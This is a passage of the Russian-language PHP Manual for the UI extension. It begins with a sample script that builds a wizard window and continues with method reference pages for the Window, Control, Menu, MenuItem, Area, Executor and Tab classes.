 * Wizard sample layout builded with PHP UI
 */

use UI\Window;
use UI\Size;
use UI\Controls\Button;
use UI\Controls\Grid;
use UI\Controls\Box;
use UI\Controls\Form;
use UI\Controls\Entry;
use UI\Controls\Label;

/*
 * The window
 */
$window = new Window('Wizard Sample Layout', new Size(640, 480), TRUE);
$window->setMargin(true);

/*
 * Wizard content (sample)
 */
$content = new Form();
$content->setPadded(true);
$content->append('User:', new Entry());
$content->append('Password:', new Entry(Entry::Password));

/*
 * Layout to title, content and buttons
 */
$grid = new Grid();
$grid->setPadded(false);

/*
 * Title
 */
$grid->append(new Label('Wizard Sample'), 0, 0, 6, 1, true, Grid::Fill, false, Grid::Fill);

/*
 * Append content
 */
$grid->append($content, 0, 1, 6, 1, false, Grid::Fill, true, Grid::Fill);

/*
 * Left buttons
 */
$left_box = new Box(Box::Horizontal);
$left_box->append(new Button('&About'));
$left_box->append(new Button('&Help'));

/*
 * Right buttons
 */
$right_box = new Box(Box::Horizontal);
$right_box->append(new Button('&Back'));
$right_box->append(new Button('&Forward'));
$right_box->append(new Button('&Close'));

/**
 * Append buttons
 */
$grid->append($left_box, 0, 2, 1, 1, true, Grid::Start, false, Grid::Fill);
$grid->append($right_box, 5, 2, 1, 1, true, Grid::End, false, Grid::Fill);

/*
 * Append layout and show.
 */
$window->add($grid);

$window->show();

UI\run();

?>


Добавить элемент управления

  • « UI\Window
  • UI\Window::__construct »
  • PHP Manual
  • UI\Window
  • Добавить элемент управления

UI\Window::add

(UI 0.9.9)

UI\Window::add — Добавить элемент управления

Описание

public UI\Window::add(UI\Control $control)

Добавит элемент управления к окну

Список параметров

control

Элемент управления для добавления

Возвращаемые значения

User Contributed Notes

There are no user contributed notes for this page.


Создать новый объект Window

  • « UI\Window::add
  • UI\Window::error »
  • PHP Manual
  • UI\Window
  • Создать новый объект Window

UI\Window::__construct

(UI 0.9.9)

UI\Window::__construct — Создать новый объект Window

Описание

public UI\Window::__construct(string $title, Size $size, bool $menu = false)

Создаст новый объект Window

Список параметров

title

Заголовок окна

size

Размер окна

menu

Переключатель меню

User Contributed Notes

There are no user contributed notes for this page.


Показать блок ошибки

  • « UI\Window::__construct
  • UI\Window::getSize »
  • PHP Manual
  • UI\Window
  • Показать блок ошибки

UI\Window::error

(UI 0.9.9)

UI\Window::error — Показать блок ошибки

Описание

public UI\Window::error(string $title, string $msg)

Покажет блок ошибки

Список параметров

title

Заголовок блока ошибки

msg

Сообщение блока ошибки

User Contributed Notes

There are no user contributed notes for this page.


Получить размер окна

  • « UI\Window::error
  • UI\Window::getTitle »
  • PHP Manual
  • UI\Window
  • Получить размер окна

UI\Window::getSize

(UI 0.9.9)

UI\Window::getSize — Получить размер окна

Описание

public UI\Window::getSize(): UI\Size

Возвратит размер данного окна

Список параметров

У этой функции нет параметров.

Возвращаемые значения

User Contributed Notes

There are no user contributed notes for this page.


Получить заголовок

  • « UI\Window::getSize
  • UI\Window::hasBorders »
  • PHP Manual
  • UI\Window
  • Получить заголовок

UI\Window::getTitle

(UI 0.9.9)

UI\Window::getTitle — Получить заголовок

Описание

public UI\Window::getTitle(): string

Получит заголовок данного окна

Список параметров

У этой функции нет параметров.

Возвращаемые значения

User Contributed Notes

There are no user contributed notes for this page.


Определение рамки

  • « UI\Window::getTitle
  • UI\Window::hasMargin »
  • PHP Manual
  • UI\Window
  • Определение рамки

UI\Window::hasBorders

(UI 0.9.9)

UI\Window::hasBorders — Определение рамки

Описание

public UI\Window::hasBorders(): bool

Определить, используются ли рамки в данном окне

Список параметров

У этой функции нет параметров.

Возвращаемые значения

User Contributed Notes

There are no user contributed notes for this page.


Определение полей

  • « UI\Window::hasBorders
  • UI\Window::isFullScreen »
  • PHP Manual
  • UI\Window
  • Определение полей

UI\Window::hasMargin

(UI 0.9.9)

UI\Window::hasMargin — Определение полей

Описание

public UI\Window::hasMargin(): bool

Определить, используются ли поля в данном окне

Список параметров

У этой функции нет параметров.

Возвращаемые значения

User Contributed Notes

There are no user contributed notes for this page.


Определение полного экрана

  • « UI\Window::hasMargin
  • UI\Window::msg »
  • PHP Manual
  • UI\Window
  • Определение полного экрана

UI\Window::isFullScreen

(UI 0.9.9)

UI\Window::isFullScreen — Определение полного экрана

Описание

public UI\Window::isFullScreen(): bool

Определить, используется ли это окно на весь экран

Список параметров

У этой функции нет параметров.

Возвращаемые значения

User Contributed Notes

There are no user contributed notes for this page.


Показать блок сообщения

  • « UI\Window::isFullScreen
  • UI\Window::onClosing »
  • PHP Manual
  • UI\Window
  • Показать блок сообщения

UI\Window::msg

(UI 0.9.9)

UI\Window::msg — Показать блок сообщения

Описание

public UI\Window::msg(string $title, string $msg)

Покажет блок сообщения

Список параметров

title

Заголовок блока сообщения

msg

Сообщение

User Contributed Notes

There are no user contributed notes for this page.


Callback-функция закрытия

  • « UI\Window::msg
  • UI\Window::open »
  • PHP Manual
  • UI\Window
  • Callback-функция закрытия

UI\Window::onClosing

(UI 0.9.9)

UI\Window::onClosing — Callback-функция закрытия

Описание

protected UI\Window::onClosing(): int

Должен изящно уничтожить данное окно

Список параметров

У этой функции нет параметров.

Возвращаемые значения

User Contributed Notes

There are no user contributed notes for this page.


Открыть диалоговое окно

  • « UI\Window::onClosing
  • UI\Window::save »
  • PHP Manual
  • UI\Window
  • Открыть диалоговое окно

UI\Window::open

(UI 0.9.9)

UI\Window::open — Открыть диалоговое окно

Описание

public UI\Window::open(): string

Откроет диалоговое окно файла

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает имя файла, выбранного для открытия

User Contributed Notes

There are no user contributed notes for this page.


Сохранить диалоговое окно

  • « UI\Window::open
  • UI\Window::setBorders »
  • PHP Manual
  • UI\Window
  • Сохранить диалоговое окно

UI\Window::save

(UI 0.9.9)

UI\Window::save — Сохранить диалоговое окно

Описание

public UI\Window::save(): string

Откроет диалоговое окно сохранения

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает имя файла для сохранения

User Contributed Notes

There are no user contributed notes for this page.


Использование рамок

  • « UI\Window::save
  • UI\Window::setFullScreen »
  • PHP Manual
  • UI\Window
  • Использование рамок

UI\Window::setBorders

(UI 0.9.9)

UI\Window::setBorders — Использование рамок

Описание

public UI\Window::setBorders(bool $borders)

Включить или отключить использование рамок в данном окне

Список параметров

borders

User Contributed Notes

There are no user contributed notes for this page.


Использование полного экрана

  • « UI\Window::setBorders
  • UI\Window::setMargin »
  • PHP Manual
  • UI\Window
  • Использование полного экрана

UI\Window::setFullScreen

(UI 0.9.9)

UI\Window::setFullScreen — Использование полного экрана

Описание

public UI\Window::setFullScreen(bool $full)

Включить или отключить использование полного экрана для данного окна

Внимание

Функцию пока не задокументировали; для знакомства доступен только список аргументов.

Список параметров

full

User Contributed Notes

There are no user contributed notes for this page.


Использование поля

  • « UI\Window::setFullScreen
  • UI\Window::setSize »
  • PHP Manual
  • UI\Window
  • Использование поля

UI\Window::setMargin

(UI 0.9.9)

UI\Window::setMargin — Использование поля

Описание

public UI\Window::setMargin(bool $margin)

Включить или отключить использование полей для данного окна.

Список параметров

margin

User Contributed Notes

There are no user contributed notes for this page.


Установить размер

  • « UI\Window::setMargin
  • UI\Window::setTitle »
  • PHP Manual
  • UI\Window
  • Установить размер

UI\Window::setSize

(UI 0.9.9)

UI\Window::setSize — Установить размер

Описание

public UI\Window::setSize(UI\Size $size)

Установит размер данного окна

Список параметров

size

Возвращаемые значения

User Contributed Notes

There are no user contributed notes for this page.


Заголовок окна

  • « UI\Window::setSize
  • UI\Control »
  • PHP Manual
  • UI\Window
  • Заголовок окна

UI\Window::setTitle

(UI 0.9.9)

UI\Window::setTitle — Заголовок окна

Описание

public UI\Window::setTitle(string $title)

Установит заголовок для данного окна

Список параметров

title

Новый заголовок

User Contributed Notes

There are no user contributed notes for this page.


Элемент управления

(UI 0.9.9)

Введение

Это закрытый базовый класс для всех элементов управления пользовательского интерфейса.

Обзор классов

final class UI\Control {
/* Методы */
public destroy()
public disable()
public enable()
public getParent(): UI\Control
public getTopLevel(): int
public hide()
public isEnabled(): bool
public isVisible(): bool
public setParent(UI\Control $parent)
public show()
}

Содержание

  • UI\Control::destroy — Уничтожить управляющий элемент
  • UI\Control::disable — Отключить управляющий элемент
  • UI\Control::enable — Включить управляющий элемент
  • UI\Control::getParent — Получить родительский управляющий элемент
  • UI\Control::getTopLevel — Получить верхний уровень
  • UI\Control::hide — Скрыть управляющий элемент
  • UI\Control::isEnabled — Определить, включён ли управляющий элемент
  • UI\Control::isVisible — Определить, видимый ли управляющий элемент
  • UI\Control::setParent — Установить родительский управляющий элемент
  • UI\Control::show — Показать управляющий элемент

User Contributed Notes

There are no user contributed notes for this page.


Уничтожить управляющий элемент

  • « UI\Control
  • UI\Control::disable »
  • PHP Manual
  • UI\Control
  • Уничтожить управляющий элемент

UI\Control::destroy

(UI 0.9.9)

UI\Control::destroy — Уничтожить управляющий элемент

Описание

public UI\Control::destroy()

Уничтожит данный управляющий элемент

Список параметров

У этой функции нет параметров.

Возвращаемые значения

User Contributed Notes

There are no user contributed notes for this page.


Отключить управляющий элемент

  • « UI\Control::destroy
  • UI\Control::enable »
  • PHP Manual
  • UI\Control
  • Отключить управляющий элемент

UI\Control::disable

(UI 0.9.9)

UI\Control::disable — Отключить управляющий элемент

Описание

public UI\Control::disable()

Отключит данный управляющий элемент

Список параметров

У этой функции нет параметров.

Возвращаемые значения

User Contributed Notes

There are no user contributed notes for this page.


Включить управляющий элемент

  • « UI\Control::disable
  • UI\Control::getParent »
  • PHP Manual
  • UI\Control
  • Включить управляющий элемент

UI\Control::enable

(UI 0.9.9)

UI\Control::enable — Включить управляющий элемент

Описание

public UI\Control::enable()

Включит данный управляющий элемент

Список параметров

У этой функции нет параметров.

Возвращаемые значения

User Contributed Notes

There are no user contributed notes for this page.


Получить родительский управляющий элемент

  • « UI\Control::enable
  • UI\Control::getTopLevel »
  • PHP Manual
  • UI\Control
  • Получить родительский управляющий элемент

UI\Control::getParent

(UI 0.9.9)

UI\Control::getParent — Получить родительский управляющий элемент

Описание

public UI\Control::getParent(): UI\Control

Возвратит родительский управляющий элемент

Список параметров

У этой функции нет параметров.

Возвращаемые значения

User Contributed Notes

There are no user contributed notes for this page.


Получить верхний уровень

  • « UI\Control::getParent
  • UI\Control::hide »
  • PHP Manual
  • UI\Control
  • Получить верхний уровень

UI\Control::getTopLevel

(UI 0.9.9)

UI\Control::getTopLevel — Получить верхний уровень

Описание

public UI\Control::getTopLevel(): int

Внимание

Функцию пока не задокументировали; для знакомства доступен только список аргументов.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

User Contributed Notes

There are no user contributed notes for this page.


Скрыть управляющий элемент

  • « UI\Control::getTopLevel
  • UI\Control::isEnabled »
  • PHP Manual
  • UI\Control
  • Скрыть управляющий элемент

UI\Control::hide

(UI 0.9.9)

UI\Control::hide — Скрыть управляющий элемент

Описание

public UI\Control::hide()

Скрыть данный управляющий элемент

Список параметров

У этой функции нет параметров.

Возвращаемые значения

User Contributed Notes

There are no user contributed notes for this page.


Определить, включён ли управляющий элемент

  • « UI\Control::hide
  • UI\Control::isVisible »
  • PHP Manual
  • UI\Control
  • Определить, включён ли управляющий элемент

UI\Control::isEnabled

(UI 0.9.9)

UI\Control::isEnabled — Определить, включён ли управляющий элемент

Описание

public UI\Control::isEnabled(): bool

Определяет, включён ли управляющий элемент

Список параметров

У этой функции нет параметров.

Возвращаемые значения

User Contributed Notes

There are no user contributed notes for this page.


Определить, видимый ли управляющий элемент

  • « UI\Control::isEnabled
  • UI\Control::setParent »
  • PHP Manual
  • UI\Control
  • Определить, видимый ли управляющий элемент

UI\Control::isVisible

(UI 0.9.9)

UI\Control::isVisible — Определить, видимый ли управляющий элемент

Описание

public UI\Control::isVisible(): bool

Определяет, видимый ли управляющий элемент

Список параметров

У этой функции нет параметров.

Возвращаемые значения

User Contributed Notes

There are no user contributed notes for this page.


Установить родительский управляющий элемент

  • « UI\Control::isVisible
  • UI\Control::show »
  • PHP Manual
  • UI\Control
  • Установить родительский управляющий элемент

UI\Control::setParent

(UI 0.9.9)

UI\Control::setParent — Установить родительский управляющий элемент

Описание

public UI\Control::setParent(UI\Control $parent)

Установит родительский управляющий элемент этого элемента управления

Список параметров

parent

Родительский управляющий элемент

Возвращаемые значения

User Contributed Notes

There are no user contributed notes for this page.


Показать управляющий элемент

  • « UI\Control::setParent
  • UI\Menu »
  • PHP Manual
  • UI\Control
  • Показать управляющий элемент

UI\Control::show

(UI 0.9.9)

UI\Control::show — Показать управляющий элемент

Описание

public UI\Control::show()

Покажет управляющий элемент

Список параметров

У этой функции нет параметров.

Возвращаемые значения

User Contributed Notes

There are no user contributed notes for this page.


Меню

(UI 0.9.9)

Введение

Меню должно быть создано до первого окна и может отображаться в любом окне

Обзор классов

class UI\Menu {
/* Конструктор */
public __construct(string $name)
/* Методы */
public append(string $name, string $type = UI\MenuItem::class): UI\MenuItem
public appendAbout(string $type = UI\MenuItem::class): UI\MenuItem
public appendCheck(string $name, string $type = UI\MenuItem::class): UI\MenuItem
public appendPreferences(string $type = UI\MenuItem::class): UI\MenuItem
public appendQuit(string $type = UI\MenuItem::class): UI\MenuItem
public appendSeparator()
}

Содержание

  • UI\Menu::append — Добавить пункт меню
  • UI\Menu::appendAbout — Добавить пункт меню About
  • UI\Menu::appendCheck — Добавить пункт меню с чекбоксом
  • UI\Menu::appendPreferences — Добавить пункт меню "Настройки" (Preferences)
  • UI\Menu::appendQuit — Добавить пункт меню "Выход" (Quit)
  • UI\Menu::appendSeparator — Добавить пункт меню "Разделитель" (Separator)
  • UI\Menu::__construct — Создать новый объект Menu

User Contributed Notes

There are no user contributed notes for this page.


Добавить пункт меню

  • « UI\Menu
  • UI\Menu::appendAbout »
  • PHP Manual
  • UI\Menu
  • Добавить пункт меню

UI\Menu::append

(UI 0.9.9)

UI\Menu::append — Добавить пункт меню

Описание

public UI\Menu::append(string $name, string $type = UI\MenuItem::class): UI\MenuItem

Добавит пункт меню

Список параметров

name

Имя (текст) нового пункта

type

Тип нового пункта

Возвращаемые значения

Созданный объект данного типа

User Contributed Notes

There are no user contributed notes for this page.


Добавить пункт меню About

  • « UI\Menu::append
  • UI\Menu::appendCheck »
  • PHP Manual
  • UI\Menu
  • Добавить пункт меню About

UI\Menu::appendAbout

(UI 0.9.9)

UI\Menu::appendAbout — Добавить пункт меню About

Описание

public UI\Menu::appendAbout(string $type = UI\MenuItem::class): UI\MenuItem

Добавит пункт меню About

Список параметров

type

Тип нового пункта меню

Возвращаемые значения

Созданный пункт меню с заданным типом

User Contributed Notes

There are no user contributed notes for this page.


Добавить пункт меню с чекбоксом

  • « UI\Menu::appendAbout
  • UI\Menu::appendPreferences »
  • PHP Manual
  • UI\Menu
  • Добавить пункт меню с чекбоксом

UI\Menu::appendCheck

(UI 0.9.9)

UI\Menu::appendCheck — Добавить пункт меню с чекбоксом

Описание

public UI\Menu::appendCheck(string $name, string $type = UI\MenuItem::class): UI\MenuItem

Добавит пункт меню с чекбоксом

Список параметров

name

Имя (текст) нового пункта

type

Тип нового пункта

Возвращаемые значения

Созданный пункт меню с чекбоксом заданного типа

User Contributed Notes

There are no user contributed notes for this page.


Добавить пункт меню "Настройки" (Preferences)

  • « UI\Menu::appendCheck
  • UI\Menu::appendQuit »
  • PHP Manual
  • UI\Menu
  • Добавить пункт меню "Настройки" (Preferences)

UI\Menu::appendPreferences

(UI 0.9.9)

UI\Menu::appendPreferences — Добавить пункт меню "Настройки" (Preferences)

Описание

public UI\Menu::appendPreferences(string $type = UI\MenuItem::class): UI\MenuItem

Добавит пункт меню "Настройки"

Список параметров

type

Тип нового пункта

Возвращаемые значения

Созданный пункт меню "Настройки" заданного типа

User Contributed Notes

There are no user contributed notes for this page.


Добавить пункт меню "Выход" (Quit)

  • « UI\Menu::appendPreferences
  • UI\Menu::appendSeparator »
  • PHP Manual
  • UI\Menu
  • Добавить пункт меню "Выход" (Quit)

UI\Menu::appendQuit

(UI 0.9.9)

UI\Menu::appendQuit — Добавить пункт меню "Выход" (Quit)

Описание

public UI\Menu::appendQuit(string $type = UI\MenuItem::class): UI\MenuItem

Добавит пункт меню "Выход"

Список параметров

type

Тип нового пункта

Возвращаемые значения

Созданный пункт меню "Выход" заданного типа

User Contributed Notes

There are no user contributed notes for this page.


Добавить пункт меню "Разделитель" (Separator)

  • « UI\Menu::appendQuit
  • UI\Menu::__construct »
  • PHP Manual
  • UI\Menu
  • Добавить пункт меню "Разделитель" (Separator)

UI\Menu::appendSeparator

(UI 0.9.9)

UI\Menu::appendSeparator — Добавить пункт меню "Разделитель" (Separator)

Описание

public UI\Menu::appendSeparator()

Добавит разделитель

Список параметров

У этой функции нет параметров.

User Contributed Notes

There are no user contributed notes for this page.


Создать новый объект Menu

  • « UI\Menu::appendSeparator
  • UI\MenuItem »
  • PHP Manual
  • UI\Menu
  • Создать новый объект Menu

UI\Menu::__construct

(UI 0.9.9)

UI\Menu::__construct — Создать новый объект Menu

Описание

public UI\Menu::__construct(string $name)

Создаст новый объект Menu

Список параметров

name

Имя (текст) нового меню

User Contributed Notes

There are no user contributed notes for this page.


Элемент меню

(UI 0.9.9)

Введение

Элементы меню должны создаваться только меню

Обзор классов

class UI\MenuItem {
/* Методы */
public disable()
public enable()
public isChecked(): bool
protected onClick()
public setChecked(bool $checked)
}

Содержание

  • UI\MenuItem::disable — Отключить пункт меню
  • UI\MenuItem::enable — Включить пункт меню
  • UI\MenuItem::isChecked — Определение выбранности пункта
  • UI\MenuItem::onClick — Обработчик нажатия
  • UI\MenuItem::setChecked — Выбрать пункт меню

User Contributed Notes

There are no user contributed notes for this page.


Отключить пункт меню

  • « UI\MenuItem
  • UI\MenuItem::enable »
  • PHP Manual
  • UI\MenuItem
  • Отключить пункт меню

UI\MenuItem::disable

(UI 0.9.9)

UI\MenuItem::disable — Отключить пункт меню

Описание

public UI\MenuItem::disable()

Отключит данный пункт меню

Список параметров

У этой функции нет параметров.

User Contributed Notes

There are no user contributed notes for this page.


Включить пункт меню

  • « UI\MenuItem::disable
  • UI\MenuItem::isChecked »
  • PHP Manual
  • UI\MenuItem
  • Включить пункт меню

UI\MenuItem::enable

(UI 0.9.9)

UI\MenuItem::enable — Включить пункт меню

Описание

public UI\MenuItem::enable()

Включит данный пункт меню

Список параметров

У этой функции нет параметров.

User Contributed Notes

There are no user contributed notes for this page.


Определение выбранности пункта

  • « UI\MenuItem::enable
  • UI\MenuItem::onClick »
  • PHP Manual
  • UI\MenuItem
  • Определение выбранности пункта

UI\MenuItem::isChecked

(UI 0.9.9)

UI\MenuItem::isChecked — Определение выбранности пункта

Описание

public UI\MenuItem::isChecked(): bool

Определить, выбран ли данный пункт меню

Список параметров

У этой функции нет параметров.

User Contributed Notes

There are no user contributed notes for this page.


Обработчик нажатия

  • « UI\MenuItem::isChecked
  • UI\MenuItem::setChecked »
  • PHP Manual
  • UI\MenuItem
  • Обработчик нажатия

UI\MenuItem::onClick

(UI 0.9.9)

UI\MenuItem::onClick — Обработчик нажатия

Описание

protected UI\MenuItem::onClick()

Выполняется при нажатии данного пункта меню

Список параметров

У этой функции нет параметров.

User Contributed Notes

There are no user contributed notes for this page.


Выбрать пункт меню

  • « UI\MenuItem::onClick
  • UI\Area »
  • PHP Manual
  • UI\MenuItem
  • Выбрать пункт меню

UI\MenuItem::setChecked

(UI 0.9.9)

UI\MenuItem::setChecked — Выбрать пункт меню

Описание

public UI\MenuItem::setChecked(bool $checked)

Установить статус выбранности данного пункта меню

Список параметров

checked

Новый статус

User Contributed Notes

There are no user contributed notes for this page.


Area

(UI 0.9.9)

Введение

Область (Area) представляет собой холст, который можно использовать для рисования и реагирования на события мыши и клавиш.

Обзор классов

class UI\Area extends UI\Control {
/* Константы */
const int Ctrl;
const int Alt;
const int Shift;
const int Super;
const int Down;
const int Up;
/* Методы */
protected onDraw(
UI\Draw\Pen $pen,
UI\Size $areaSize,
UI\Point $clipPoint,
UI\Size $clipSize
)
protected onKey(string $key, int $ext, int $flags)
protected onMouse(UI\Point $areaPoint, UI\Size $areaSize, int $flags)
public redraw()
public scrollTo(UI\Point $point, UI\Size $size)
public setSize(UI\Size $size)
/* Наследуемые методы */
public UI\Control::destroy()
public UI\Control::disable()
public UI\Control::enable()
public UI\Control::getParent(): UI\Control
public UI\Control::getTopLevel(): int
public UI\Control::hide()
public UI\Control::isEnabled(): bool
public UI\Control::isVisible(): bool
public UI\Control::setParent(UI\Control $parent)
public UI\Control::show()
}

Предопределённые константы

UI\Area::Ctrl

Должен быть установлен в модификаторах, переданных событиям клавиш и мыши, когда активна клавиша CTRL

UI\Area::Alt

Должен быть установлен в модификаторах, переданных событиям клавиш и мыши, когда активна клавиша ALT

UI\Area::Shift

Должен быть установлен в модификаторах, переданных событиям клавиш и мыши, когда активна клавиша SHIFT

UI\Area::Super

UI\Area::Down

Должен быть установлен в модификаторах, переданных событиям клавиатуры и мыши

UI\Area::Up

Должен быть установлен в модификаторах, переданных событиям клавиатуры и мыши

Содержание

  • UI\Area::onDraw — Функция обратного вызова при рисовании
  • UI\Area::onKey — Функция обратного вызова при нажатии
  • UI\Area::onMouse — Функция обратного вызова мыши
  • UI\Area::redraw — Перерисовать область
  • UI\Area::scrollTo — Прокрутить область
  • UI\Area::setSize — Установить размер

User Contributed Notes

There are no user contributed notes for this page.


Функция обратного вызова при рисовании

  • « UI\Area
  • UI\Area::onKey »
  • PHP Manual
  • UI\Area
  • Функция обратного вызова при рисовании

UI\Area::onDraw

(UI 0.9.9)

UI\Area::onDraw — Функция обратного вызова при рисовании

Описание

protected UI\Area::onDraw(
UI\Draw\Pen $pen,
UI\Size $areaSize,
UI\Point $clipPoint,
UI\Size $clipSize
)

Вызывается, когда данная область требует перерисовки

Список параметров

pen

Ручка (Pen), подходящая для рисования в этом районе

areaSize

Размер области

clipPoint

Точка обрезки (clip point) области

clipSize

Размер обрезки (clip size) области

User Contributed Notes

There are no user contributed notes for this page.


Функция обратного вызова при нажатии

  • « UI\Area::onDraw
  • UI\Area::onMouse »
  • PHP Manual
  • UI\Area
  • Функция обратного вызова при нажатии

UI\Area::onKey

(UI 0.9.9)

UI\Area::onKey — Функция обратного вызова при нажатии

Описание

protected UI\Area::onKey(string $key, int $ext, int $flags)

Выполняется при нажатии на клавиши

Список параметров

key

Нажатая клавиша

ext

Нажатая расширенная кнопка

flags

Модификаторы события

Возвращаемые значения

User Contributed Notes

There are no user contributed notes for this page.


Функция обратного вызова мыши

  • « UI\Area::onKey
  • UI\Area::redraw »
  • PHP Manual
  • UI\Area
  • Функция обратного вызова мыши

UI\Area::onMouse

(UI 0.9.9)

UI\Area::onMouse — Функция обратного вызова мыши

Описание

protected UI\Area::onMouse(UI\Point $areaPoint, UI\Size $areaSize, int $flags)

Вызывается при нажатии мыши

Список параметров

areaPoint

Координаты события

areaSize

Размер области события

flags

Модификаторы события

User Contributed Notes

There are no user contributed notes for this page.


Перерисовать область

  • « UI\Area::onMouse
  • UI\Area::scrollTo »
  • PHP Manual
  • UI\Area
  • Перерисовать область

UI\Area::redraw

(UI 0.9.9)

UI\Area::redraw — Перерисовать область

Описание

public UI\Area::redraw()

Запрашивает, чтобы эта область была перерисована

Список параметров

У этой функции нет параметров.

Возвращаемые значения

User Contributed Notes

There are no user contributed notes for this page.


Прокрутить область

  • « UI\Area::redraw
  • UI\Area::setSize »
  • PHP Manual
  • UI\Area
  • Прокрутить область

UI\Area::scrollTo

(UI 0.9.9)

UI\Area::scrollTo — Прокрутить область

Описание

public UI\Area::scrollTo(UI\Point $point, UI\Size $size)

Прокрутить данную область

Список параметров

point

Точка прокрутки

size

Размер области прокрутки

User Contributed Notes

There are no user contributed notes for this page.


Установить размер

  • « UI\Area::scrollTo
  • UI\Executor »
  • PHP Manual
  • UI\Area
  • Установить размер

UI\Area::setSize

(UI 0.9.9)

UI\Area::setSize — Установить размер

Описание

public UI\Area::setSize(UI\Size $size)

Устанавливает размер области

Список параметров

size

Новый размер

User Contributed Notes

There are no user contributed notes for this page.


Планировщик выполнения

(UI 2.0.0)

Введение

Эта возможность планирует повторное выполнение callback-функции, полезно для анимации и других подобных действий.

Обзор классов

abstract class UI\Executor {
/* Конструктор */
public __construct()
public __construct(int $microseconds)
public __construct(int $seconds, int $microseconds)
/* Методы */
public kill(): void
abstract protected onExecute(): void
public setInterval(int $microseconds): bool
public setInterval(int $seconds, int $microseconds): bool
}

Содержание

  • UI\Executor::__construct — Создать новый объект Executor
  • UI\Executor::kill — Остановить исполнитель
  • UI\Executor::onExecute — Callback-функция выполнения
  • UI\Executor::setInterval — Управление интервалом

User Contributed Notes

There are no user contributed notes for this page.


Создать новый объект Executor

  • « UI\Executor
  • UI\Executor::kill »
  • PHP Manual
  • UI\Executor
  • Создать новый объект Executor

UI\Executor::__construct

(UI 2.0.0)

UI\Executor::__construct — Создать новый объект Executor

Описание

public UI\Executor::__construct()
public UI\Executor::__construct(int $microseconds)
public UI\Executor::__construct(int $seconds, int $microseconds)

Создаёт исполнитель с заданным интервалом, не будет запускаться до тех пор, пока не будет введён основной цикл

Список параметров

seconds

Секунды между выполнениями

microseconds

Микросекунды между выполнениями

User Contributed Notes

There are no user contributed notes for this page.


Остановить исполнитель

  • « UI\Executor::__construct
  • UI\Executor::onExecute »
  • PHP Manual
  • UI\Executor
  • Остановить исполнитель

UI\Executor::kill

(UI 2.0.0)

UI\Executor::kill — Остановить исполнитель

Описание

public UI\Executor::kill(): void

Остановит исполнитель, он не будет перезапущен

Список параметров

У этой функции нет параметров.

Возвращаемые значения

User Contributed Notes

There are no user contributed notes for this page.


Callback-функция выполнения

  • « UI\Executor::kill
  • UI\Executor::setInterval »
  • PHP Manual
  • UI\Executor
  • Callback-функция выполнения

UI\Executor::onExecute

(UI 2.0.0)

UI\Executor::onExecute — Callback-функция выполнения

Описание

abstract protected UI\Executor::onExecute(): void

Поставит в очередь для выполнения в основном потоке

Список параметров

У этой функции нет параметров.

Возвращаемые значения

User Contributed Notes

There are no user contributed notes for this page.


Управление интервалом

  • « UI\Executor::onExecute
  • UI\Controls\Tab »
  • PHP Manual
  • UI\Executor
  • Управление интервалом

UI\Executor::setInterval

(UI 2.0.0)

UI\Executor::setInterval — Управление интервалом

Описание

public UI\Executor::setInterval(int $microseconds): bool
public UI\Executor::setInterval(int $seconds, int $microseconds): bool

Установит новый интервал. Интервал 0 приостанавливает выполнение исполнителем до тех пор, пока не будет установлен новый интервал

Список параметров

seconds

microseconds

Возвращаемые значения

Индикатор успешности выполнения

User Contributed Notes

There are no user contributed notes for this page.


Элемент управления "Таб"

(UI 0.9.9)

Введение

Таб может содержать много выбираемых пользователем страниц элементов управления, у каждой из которой есть заголовок.

Обзор классов

class UI\Controls\Tab extends UI\Control {
/* Свойства */
protected $controls;
/* Методы */
public append(string $name, UI\Control $control): int
public delete(int $index): bool
public hasMargin(int $page): bool
public insertAt(string $name, int $page, UI\Control $control)
public pages(): int
public setMargin(int $page, bool $margin)
/* Наследуемые методы */
public UI\Control::destroy()
public UI\Control::disable()
public UI\Control::enable()
public UI\Control::getParent(): UI\Control
public UI\Control::getTopLevel(): int
public UI\Control::hide()
public UI\Control::isEnabled(): bool
public UI\Control::isVisible(): bool
public UI\Control::setParent(UI\Control $parent)
public UI\Control::show()
}

Свойства

controls

Содержит элементы управления, не стоит изменять напрямую

Содержание

  • UI\Controls\Tab::append — Добавить страницу
  • UI\Controls\Tab::delete — Удалить страницу
  • UI\Controls\Tab::hasMargin — Определения поля
  • UI\Controls\Tab::insertAt — Вставить страницу
  • UI\Controls\Tab::pages — Количество страниц
  • UI\Controls\Tab::setMargin — Установить поле

User Contributed Notes

There are no user contributed notes for this page.


Добавить страницу

  • « UI\Controls\Tab
  • UI\Controls\Tab::delete »
  • PHP Manual
  • UI\Controls\Tab
  • Добавить страницу

UI\Controls\Tab::append

(UI 0.9.9)

UI\Controls\Tab::append — Добавить страницу

Описание

public UI\Controls\Tab::append(string $name, UI\Control $control): int

Добавить новую страницу к данному управляющему элементу "Таб"

Список параметров

name

Название новой страницы

control

Управляющий элемент для новой страницы

Возвращаемые значения

Возвращает индекс добавленного элемента управления, может быть значение 0

User Contributed Notes

There are no user contributed notes for this page.


Удалить страницу

  • « UI\Controls\Tab::append
  • UI\Controls\Tab::hasMargin »
  • PHP Manual
  • UI\Controls\Tab
  • Удалить страницу

UI\Controls\Tab::delete

(UI 0.9.9)

UI\Controls\Tab::delete — Удалить страницу

Описание

public UI\Controls\Tab::delete(int $index): bool

Удалит выбранную страницу из управляющего элемента "Таб"

Список параметров

index

Индекс страницы для удаления

Возвращаемые значения

Индикатор успешности выполнения

User Contributed Notes

There are no user contributed notes for this page.


Определения поля

  • « UI\Controls\Tab::delete
  • UI\Controls\Tab::insertAt »
  • PHP Manual
  • UI\Controls\Tab
  • Определения поля

UI\Controls\Tab::hasMargin

(UI 0.9.9)

UI\Controls\Tab::hasMargin — Определения поля

Описание

public UI\Controls\Tab::hasMargin(int $page): bool

Определяет, есть ли у заданной страницы поле.

Список параметров

page

Индекс страницы

Возвращаемые значения

User Contributed Notes

There are no user contributed notes for this page.


Вставить страницу

  • « UI\Controls\Tab::hasMargin
  • UI\Controls\Tab::pages »
  • PHP Manual
  • UI\Controls\Tab
  • Вставить страницу

UI\Controls\Tab::insertAt

(UI 0.9.9)

UI\Controls\Tab::insertAt — Вставить страницу

Описание

public UI\Controls\Tab::insertAt(string $name, int $page, UI\Control $control)

Вставит новую страницу к управляющему элементу "Таб"

Список параметров

name

Название новой страницы

page

Индекс страницы перед которой вставить данную страницу

control

Управляющий элемент для новой страницы

User Contributed Notes

There are no user contributed notes for this page.


Количество страниц

  • « UI\Controls\Tab::insertAt
